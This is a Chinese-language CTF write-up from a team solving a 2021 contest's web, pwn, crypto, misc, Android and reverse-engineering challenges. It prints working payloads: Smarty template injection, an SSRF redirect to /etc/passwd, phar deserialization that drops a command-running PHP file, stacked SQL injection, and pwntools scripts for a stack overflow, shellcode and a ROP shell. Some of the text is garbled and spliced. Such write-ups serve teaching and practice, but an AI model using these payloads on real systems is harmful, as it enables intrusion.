第⼀届四叶草⽹络安全学院⽜年CTF⼤赛Wr…
第⼀届四叶草⽹络安全学院⽜年CTF⼤赛
Firebasky后援团战队WRITEUP
⼀、队伍信息
战队名称:Firebasky后援团
战队编号:lx_41ab59
所属单位 :暂⽆
战队成员姓名:Firebasky、Y4t acker、last sward、at ao、m1n9yu3
⼆、解题情况
战队排名
答题情况
三、解题过程
Web
GET
⾸先传?flag=1,发现似乎是smarty,测试{$smarty.version},成功过滤cat,用tac
发现是smarty注⼊简单了那就flag={if passt hru("t ac fl*")}{/if }
即可获得flag
WEBsite
⾸先打开⻚⾯看到接收url参数,是ssrf 考点
测试发现是只能http://开头,然后尝试302跳转,⾃⼰vps上⾯开启,发现居然可以得
到
1 <?php
2 header("Location:file///etc/passwd");
之后 /etc/httpd/conf/httpd.conf 发现有两个⽹站分别在80和8080端⼝,之后读取
8080发现是反序列化的题⽬,
1 <?php
2 class copy_file{
3 public $path = 'upload/';
4 public $file="yy.php";
5 public $url='http://127.0.0.1:80/?url=http://120.xxxx56/1.txt';
6
7 }
8 echo urlencode(serialize(new copy_file()));
10
9 ?>
11 传入参数之后访问,获得flag
12 http://d2027c6a.yunyansec.com/?url=http://0.0.0.0:8080/upt->
("test.txt","test");
13 $phar -> stopBuffering();
14
在http://739c3f 33.yunyansec.com/index.php?m=unlink
post数据file=phar://./sandbox/5.jpg
之后访问http://739c3f 33.yunyansec.com/5.php,得到flag
StAck3d 1nj3c
发现过滤太多了,f rom,or,等等还有⻓度限制,之后拼接1;show tables%23得到堆
叠注⼊
传⼊1;SHOW PROCESSLIST%23显示哪个线程正在运⾏
得到结果
1 Array ( [0] => 1 ) Array ( [0] => 52 [1] => root [2] => localhost [3] =>
CTF [4] => Query [5] => 0 [6] => logging slow query [7] => SHOW
PROCESSLIST#||flag from Flag )
突然想到了在oracle 缺省⽀持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不⽀持。需
要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的⼀些功能。因此得
到payload
1 query=1;set sql_mode=PIPES_AS_CONCAT;select 1
file manager
打开题⽬Hello,F12后发现隐藏信息有write,dir,unlink,upload
⽤了dir发现sandbox下⾯有code.html,之后访问http://739c3f 33.yunyansec.com/s
andbox/code.html发现代码,再结合开始界⾯,有个unlink,很容易想到是phar反序列
化
构造
1 <?php
2 $path = "./sandbox/";
3 class game
4 {
5 public $file_name='5.php';
6 public $content = "<?=`cat /flag`;";
7
8 }
10
9 @unlink("phar.phar");
11 $phar = new Phar("phar2.phar");
12 $phar -> startBuffering();
13 $phar -> setStub("<?php __HALT_COMPILER();?>");
14 $o = new game();
15 $phar -> setMetadata($o);
16 $phar -> addFromString("test.txt","test");
17 $phar -> stopBuffering();
⽤burp发包upload以后
在http://739c3f 33.yunyansec.com/index.php?m=unlink
post数据file=phar://./sandbox/5.jpg
之后访问http://739c3f 33.yunyansec.com/5.php即可获得flag
PWN
pwn1
这是个栈溢出把打印的函数地址写到返回地址就⾏了
1 from pwn import *
2 # p = process('./pwn.pwn')
3 p = remote('129.226.4.186', 10000)
4 payload = b'a'*0x48 + b'b'*4 + p32(0x804856d) + p32(0)
5 p.sendline(payload)
6 p.interactive()
7 //flag{happynewuerae2021}
flag{happynewuerae2021}
pwn2
写shellcode,改got 为shellcode的地址
1 from pwn import *
2 context.log_level = 'debug'
3 context.arch = 'amd64'
4
5 # p = process('./pwn2')
6 p = remote('129.226.4.186', 10001)
7 elf = ELF('./pwn2')
8
9 p.recv()
10 p.sendline(asm(shellcraft.sh()))
11
12 p.recvuntil('hzwz?\n')
13 p.sendline(str(elf.got['puts']))
14 p.recvuntil('know: ')
15 p.sendline(p64(0x601080))
16 p.interactive()
flag{3a2f a8da86f c34f 50e56193821ae6913}
pwn3
简单的rop
1 from pwn import *
2 context.log_level = 'debug'
3 context.arch = 'amd64'
4
5 # p = process('./pwn3')
6 p = remote('129.226.4.186', 10002)
7 elf = ELF('./pwn3')
8
9 p.recvuntil('something: ')
10 p.sendline(hex(elf.got['read'])[2:])
11 p.recvuntil('something: ')
12 read = int(p.recvuntil('\n')[:-1])
13 log.info('read: ' + hex(read))
14 libc = read - 0x0f7310
15 system = libc + 0x0453a0
16 binsh = libc + 0x18ce17
17 rdi = 0x0000000000400803
18 payload = b'a'*0x30 + p64(0xdeadbeaf) + p64(rdi) + p64(binsh) +
p64(system)
19 p.recvuntil('code: ')
20 p.sendline(payload)
21
22 p.interactive()
23 //flag{qiudalaoqingnuewpn}
flag{qiudalaoqingnuewpn}
加密解密
独家加密
是java写的^算法,我们直接将加密flag后为:Q[VPLDRT wQBF^YJ 在进⾏⼀次加密
1 package sample;
2
3 import java.nio.charset.Charset;
4 public class DeEnCode {
5 private static final String key0 = "2021.2.26";
6 private static final Charset charset = Charset.forName("UTF-8");
7
8 private static byte[] keyBytes = key0.getBytes(charset);
10
9 public static String encode(String enc) {
11 byte[] b = enc.getBytes(charset);
12 for (int i = 0, size = b.length; i < size; i++) {
13 for (byte keyBytes0 : keyBytes) {
14 b[i] = (byte) (b[i] ^ keyBytes0);
15 }
16 }
17 return new String(b);
18 }
19
20 public static void main(String[] args) {
21 System.out.print(encode("Q[VPLDRTwQBF^YJ"));
22 //flag{sec@fuqin}
23 }
24 }
25
flag{sec@f uqin}
凯撒⼤帝⽤MD5三步跨栏套娃
⾸先⽤7zip打开发现sec.txt下⾯还有个sec⽂件
1 GM4TGNRTGM3DMNRWGM2TGNRTGUZTCNRUGM4DGNZWGQ3DMMZSGM3DGNJWG4ZTIMZXGM2DMNZTHA
ZTKNRXGM4TMOJTGQZTEMZVGM4TGMI=
打开感觉是base家族的编码
依次base32
1 3936336666353635316438376466323635673437346738356739693432353931
base16解出⼀串32位的字符串
1 963ff5651d87df265g474g85g9i42591
发现32位直接md5没结果,结合题⽬凯撒⼤帝三步跨栏,猜测凯撒密码栏数是3,得到
1 963cc5651a87ac265d474d85d9f42591
在线md5解密为sec2021,得到flag{sec2021}
抚琴的RSA
1 import gmpy2
2 from Crypto.Util.number import *
3 from binascii import a2b_hex,b2a_hex
4
5 flag = "*****************"
6
7 c =
38230991316229399651823567590692301060044620412191737764632384680546256228
45151823884296522139471184833783245944384444688946836215418821484073674465
78858589438101776758719911114666531582571911396056999163473082949956645302
80816850482740530602254559123759121106338359220242637775919026933563326069
449424391192
8 p =
28805791771260259486856902729020438686670354441296247148207862836064657849
73534361820709816390178728736856976847252134463556733429935676008050745464
0207003
9 q =
15991846970993213322072626901560749932686325766403404864023341810735319249
06637091609064092621907936884551044403140032222914777168296113242048189736
2843199
10 e =
35461110244130757205657218182792589919834535022875373093108939327546391654
44566268942454150961078344657784095323731871253185546147225993017915289162
12839368121066035541008808261534500586023652767712271625785204280964688004
68032830012484968047710530251937737009257810782711682139182621097232037761
4967547827619
11 n=p*q
12 phi=(p-1)*(q-1)
13
14 d=int(gmpy2.invert(e,phi))
15 m=pow(c,d,n)
16
17 print(m)
flag{4213452693670547295133988239091320221100295199941532198051219698
9}
另类的RSA
先在线⽹址分解⼀下n得到pq
1 import gmpy2
2 e=31
3 q=59
4 p=61
5 d=gmpy2.invert(e,(p-1)*(q-1))
6 print d
7
8 //flag{3031}
flag{3031}
hello CPY
1 rand = 2
2 k = [4, 96, 14, 96, 3, 96, 5, 96, 9, 112, 4, 48, 7, 48, 3, 48, 0, 48, 0,
96, 6, 96, 6, 48, 1, 48, 6, 96, 11, 48, 1, 96, 3, 96, 3, 96, 4, 48, 7, 96,
2, 48, 0, 48, 1, 96, 11, 48, 11, 48, 2, 48, 0, 96, 2, 48, 3, 96, 10, 48,
0, 48, 4, 48, 7, 48, 0, 48, 6, 96, 1, 96, 3, 96, 15, 112]
3 flag = ''
4 for i in range(len(k)/2):
5 flag += chr((k[2*i]^2)+k[2*i+1])
6 print flag
7
8 //flag{6512bd43d9caa6e02c990b0a82652dca}
flag{6512bd43d9caa6e02c990b0a82652dca}
MISC
LSP们冲啊
拿到zip,发现存在密码,进⼀步发现存在5个三字节的txt⽂件,不难想到crc碰撞
,之后zst eg⼀把梭就⾏了
下⾯是⽤到的脚本
1 import binascii
2 import string
3 strings = string.printable
4 pwd = [''] * 5
5 crcs = [0x07d3f356, 0xd878a99d, 0x4e25a843, 0x6e16e99d, 0x549248b9]
6 for a in strings:
7 for b in strings:
8 for c in strings:
9 crc = binascii.crc32((a + b + c).encode())
10 for i in range(5):
11 if (crc & 0xFFFFFFFF) == crcs[i]:
12 pwd[i] = a+b+c
13 for i in pwd:
14 print(i, end='')
拿到密码后,解压得到png,根据题⽬lsp不难想到lsb隐写,zsteg⼀下,拿到flag
flag{bf 2bc2545a4a5f 5683d9ef 3ed0d977e0}
Here are three packages!
开局⾥⾯给个意义不明的
不知道是啥,直接跑爆破,获得密码:
956931011
获得第⼆个包,同样意义不明
反复测试得知是字数统计排序,撰写脚本
1 dic=dict()
2 d={}
3 s=set()
4 s='fk{hbeawfikn .l;jsg[op{ewhtgfkjbarASPUJF923U5 RJO9key3Y2905-
RYHWEIOT{YU2390IETGHBF{}FUJse{ikogh{bwieukeyyjvgb"akkeysyh{k;yhweaukyeyoit
gbsdakey{jg89gS}OYHqw8{}9ifgbDFHIOGHJ{fbiosGFBJKSgbfuiyoEGJWEbfv}yek'
5 d=dict()
6 for x in s:
7 if x not in d.keys():
8 d[x]=1
9 else:
10 d[x]=d[x]+1
11 #print(d)
12 print(sorted(d.items(), key = lambda i:i[1],reverse=True))
反复测试进⾏再次排序,次数都为4的不要,即可获得
key{bgfi9JaFHhosw}
解密获得包3
t ip3.t xt 测试为零宽隐写,然还whit e脑测是snow,
⽜⽓冲天
开局伪加密,解压
获得cat t le.jpg以及zip,
脑洞密码就是⽂件名,
获得密码,解压zip,获得png,
改⾼度获得flag
移动安全
android1
app进行了梆梆加固,开始准备环境安装dump dex,准备完开始安装app发现报错。
后面才发现了是因为app没有签名,签上名后还要注意:
安装时带上-t选项。原因:
Android Studio 3.0会在debug apk的 manifest 文件 application 标签里自动添加
android:testOnly="true" 属性。
成功安装程序,打开提示资源文件,进而从values的string.xml中找到flag。
flag{1FF9B2CCB90A2D943DBAA072DF0A279C}
android2
输入正确的账号和密码提示解密:^TY_C^MIQVK][E。
而程序中正好有一个解密的类实例化了但是没有用,所以考虑时解密函数。
1 #include <stdio.h>
2 #include <string.h>
3
4 char enc[] = "^TY_C^MIQVK][E";
5 char s[] = "2021.1.19";
6
7 int main(void)
8 {
9 int i = 0, j = 0;
10
11 for(i = 0; i < strlen(enc); i++)
12 {
13 for(j = 0; j < strlen(s); j++)
14 enc[i] ^= s[j];
15 }
16
17 puts(enc);
18 }
19 //flag{fuqinsec}
flag{f uqinsec}
Re
re1
upx脱壳后,c++的stl模块,就一个比较:
flag值
hj4ppynewyear2021
re2
ida 打开
dword_42537c 和下⾯输⼊的进⾏⽐较,只需要把那个得到就可以了.
直接计算
get flag
32649926
隐写
在屋⼦上的⼩姐姐
binwalk图⽚,获得提示⼋位数字,
听说flag是⼋位有效阿拉伯数字
猜测是⽇期,结合图⽚⽇期即可获得
flag{20200606}
问卷调查
填写了就有
flag{698d51a19d8a121ce581499d7b701668}